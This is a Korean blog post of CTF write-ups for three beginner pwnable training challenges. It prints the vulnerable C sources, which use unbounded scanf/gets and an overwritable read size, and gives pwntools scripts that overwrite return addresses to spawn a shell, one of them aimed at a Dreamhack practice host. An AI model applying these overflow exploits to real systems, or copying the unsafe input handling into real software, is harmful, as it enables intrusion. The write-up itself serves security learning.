[Layer7] Pwnable 3차시 문제 풀이

2025. 10. 28. 22:24·포너블

1. Return Address Overwrite

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

 

이 문제는 간단히 입력을 받아 복귀 주소를 get_shell 함수의 주소로 수정하여 익스플로잇하는 문제이다. 이 문제에서는 쉘을 실행시켜주는 get_shell 함수가 있으며 이 함수의 주소를 복귀 주소에 넣어주기만 하면 된다.

 

from pwn import *

p = process("./rao")
elf = ELF("./rao")

payload = b"A" * 0x38
payload += p64(elf.symbols["get_shell"])

pause()
p.sendlineafter("Input: ", payload)
p.interactive()

 

위 코드는 문제에 대한 익스플로잇 코드로 먼저 프로세스를 생성하고 get_shell 함수의 주소를 가져오기 위해 elf 변수를 선언한다. 이후 버퍼와 SFP까지 덮을 더미 데이터 A와 get_shell 함수의 주소를 나타내는 심볼을 이용해 페이로드를 만든 다음 그것을 Input에 넣어주기만 하면 된다.

 

 

 

 

2. basic_exploitation_000

basic_exploitation_000 문제는 아래 글에서 자세히 작성했으니 참조 바란다.

https://lambda-c.tistory.com/37

 

[Layer7] Pwnable 2차시 문제 풀이

shell_basic [3, 6]이 문제의 코드 구성을 보면 read 함수로 데이터를 읽는 부분이 있다. 이 read 부분의 사이즈가 1000이므로 이를 이용해 쉘 코드를 삽입할 수 있다. 단, 이 이 프로그램에서는 execve가 막

lambda-c.tistory.com

 

 

3. basic_exploitation_001

이 문제도 위에 있던 Return Address Overwrite와 거의 똑같은 문제이다. 단 다른 점이란 이 문제는 x86 아키텍처여서 버퍼와 SFP 사이의 값을 구할 때 조심해야 한다.

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

 

이 문제도 마찬가지로 입력 받아서 복귀 주소에 read_flag 주소를 넣으면 된다. 아래는 문제에 대한 스크립트 코드이다.

 

from pwn import *

p = process("./basic_exploitation_001")
elf = ELF("./basic_exploitation_001")

payload = b"A" * 0x84
payload += p32(elf.symbols["read_flag"])

p.sendline(payload)
p.interactive()

 

단 여기서 주의헤야할 점은 32비트이기 때문에 rbp가 아니라 ebp이다. 그렇기 때문에 복귀 주소와 버퍼 사이에 ebp 값도 더미 데이터를 채워 넣어야 하기 때문에 8바이트가 아닌 4바이트를 채워 넣어야 한다.

 

로컬에서 실행했기 때문에 fake_flag가 출력된다.

 

 

 

 

4. Cherry

이 문제는 앞에 있는 문제들보다 상대적으로 익스플로잇해야할 절차가 많은 문제이다.

 

// Name: chall.c
// Compile: gcc -fno-stack-protector -no-pie chall.c -o chall

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void flag() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}

int main(int argc, char *argv[]) {
    int stdin_fd = 0;
    int stdout_fd = 1;
    char fruit[0x6] = "cherry"; // rbp-0x12
    int buf_size = 0x10; // rbp-0xc -12
    char buf[0x6]; // rbp-0x18 -24

    initialize();

    write(stdout_fd, "Menu: ", 6);
    read(stdin_fd, buf, buf_size);
    if(!strncmp(buf, "cherry", 6)) {
        write(stdout_fd, "Is it cherry?: ", 15);
        read(stdin_fd, fruit, buf_size);
    }

    return 0;
}

 

위 코드를 분석하고 취약점을 찾아보자. 먼저 이 코드는 메뉴를 입력하고 입력한 메뉴가 cherry라면 추가적으로 더 입력을 받는 코드이다. 그러나 여기서 그냥 입력으로 오버플로우를 시킬 수 없다. 왜냐하면 read에서 입력 받는 바이트 수가 복귀 주소에 닿을 만큼 충분히 길지 않기 때문이다.

 

그렇기 때문에 처음에 입력을 받을 때 우리는 buf_size가 위치한 변수의 위치를 파악하여 그 위치에 오버플로우로 접근하여 값을 변경시켜 복귀 주소에 닿을 만큼에 사이즈로 바꿔야 한다. 그 후, 그 다음 입력으로 복귀 주소를 변경하면 된다.

 

from pwn import *

context.log_level = "debug"

# p = process("./chall")
p = remote("host8.dreamhack.games", 14839)
elf = ELF("./chall")

payload1 = b"cherry"
payload1 += b"A" * 0x6
payload1 += p32(100)

payload2 = b"B" * 0x12 + b"C" * 0x8
payload2 += p64(elf.symbols["flag"])

# p.sendafter(b"Menu: ", payload1)
# p.sendlineafter(b"Is it cherry?: ", payload2)

# p.interactive()

p.sendafter(b"Menu: ", payload1)
p.recvuntil(b"Is it cherry?: ")
p.sendline(payload2)

p.interactive()

 

처음에 사이즈를 변경시킬 페이로드를 확인해보자. 페이로드에 첫 문자열로 cherry를 넣은 것을 확인할 수 있다. 이 cherry를 넣은 이유는 다음 read를 실행시키려면 문자열의 처음 6자리가 cherry여야 하기 때문이다. 그 다음 남은 거리만큼 더미 데이터로 덮고 사이즈를 충분히하기 위해 100으로 바꾼다.

 

두 번째 페이로드에서는 평소처럼 거리를 계산하여 복귀 주소를 변경시키면 된다.

 

 

 

'포너블' 카테고리의 다른 글

[Dreamhack] Return To Library Writeup  (0) 2025.08.12
'포너블' 카테고리의 다른 글
  • [Dreamhack] Return To Library Writeup
Lambda
Lambda
집 가고 싶다.
  • Lambda
    Lambda's Notebook
    Lambda
  • 전체
    오늘
    어제
    • 분류 전체보기 (40)
      • 포너블 (2)
      • 과제 (17)
      • 정리 (16)
      • 리버싱 (1)
      • 리눅스 (1)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
Lambda
[Layer7] Pwnable 3차시 문제 풀이
상단으로

티스토리툴바